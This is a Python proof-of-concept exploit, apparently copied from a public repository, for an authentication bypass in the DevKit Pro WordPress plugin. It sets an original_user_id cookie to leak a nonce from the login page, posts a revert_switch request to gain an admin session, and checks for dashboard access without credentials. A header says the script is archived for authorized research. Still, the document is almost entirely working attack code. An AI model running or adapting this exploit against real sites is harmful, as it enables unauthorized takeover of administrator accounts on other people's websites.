# Archived for authorized security research and defensive testing only.
# Source: https://github.com/anoxhunterdump-ctrl/CVE-2026-14378-DevKit-Pro-Auth-Bypass
# (see README for attribution and license). Only this header was added; the
# exploit logic below is copied from the upstream repository.
# Do not run against systems you do not own or have written permission to test.

import sys, requests
from bs4 import BeautifulSoup
sys.stdout.reconfigure(encoding='utf-8')

TARGET = "http://localhost:8080"
session = requests.Session()

print("=" * 60)
print("STEP 1: Confirm plugin version")
print("=" * 60)
r0 = requests.get(f"{TARGET}/wp-content/plugins/devkit-pro/readme.txt", timeout=10)
print(f"HTTP {r0.status_code}")
for line in r0.text.splitlines():
    if line.strip():
        print(f"  {line}")

print()
print("=" * 60)
print("STEP 2: Trigger nonce leak (Cookie: original_user_id=1)")
print("=" * 60)
# Set cookie at session level so it's sent on all subsequent requests
session.cookies.set("original_user_id", "1")
r1 = session.get(f"{TARGET}/wp-login.php", timeout=10)
print(f"HTTP {r1.status_code}")

soup  = BeautifulSoup(r1.text, "html.parser")
form  = soup.find("div", {"id": "devkit-pro-switch-back"})
nonce_input = soup.find("input", {"name": "_wpnonce"})

if form and nonce_input:
    nonce = nonce_input["value"]
    print(f"[+] Switch-back form found in response!")
    print(f"[+] Fresh leaked _wpnonce = {nonce}")
    print()
    print("--- Leaked form HTML ---")
    print(str(form))
else:
    print("[-] Form not found - plugin may be inactive")
    sys.exit(1)

print()
print("=" * 60)
print("STEP 3: POST revert_switch (with original_user_id cookie)")
print("=" * 60)
# Cookie must also be on the POST — plugin reads $_COOKIE['original_user_id'] in handler
r2 = session.post(
    f"{TARGET}/wp-admin/admin-post.php",
    data={"action": "revert_switch", "_wpnonce": nonce, "target_user_id": "1"},
    allow_redirects=False,
    timeout=10
)
print(f"HTTP {r2.status_code}")
print(f"Location: {r2.headers.get('Location', 'none')}")
print("Cookies in session after POST:")
for name, val in session.cookies.items():
    print(f"  {name} = {val[:80]}...")

if r2.status_code in (301, 302):
    loc = r2.headers.get("Location", "")
    if "wp-admin" in loc:
        print("[+] Redirect to wp-admin -- auth cookie granted!")
    else:
        print(f"[?] Redirect to: {loc}")
elif r2.status_code == 400:
    print("[-] 400 - Invalid request (nonce mismatch or cookie missing)")
    print(r2.text[:300])
elif r2.status_code == 403:
    print("[-] 403 - Unauthorized (nonce verify failed or patched)")
    print(r2.text[:300])

print()
print("=" * 60)
print("STEP 4: Access wp-admin with stolen session")
print("=" * 60)
r3 = session.get(f"{TARGET}/wp-admin/index.php", timeout=10, allow_redirects=False)
print(f"HTTP {r3.status_code}")
print(f"Location: {r3.headers.get('Location', 'none')}")

if r3.status_code == 200:
    print("[+] CONFIRMED: Admin dashboard accessible with no credentials!")
elif r3.status_code in (301, 302):
    loc = r3.headers.get("Location", "")
    if "wp-login" in loc:
        print("[-] Redirected to login - bypass failed")
    elif "wp-admin" in loc:
        print("[+] Redirect within wp-admin - following...")
        r4 = session.get(loc, timeout=10, allow_redirects=False)
        print(f"  -> HTTP {r4.status_code} | {r4.headers.get('Location','none')}")
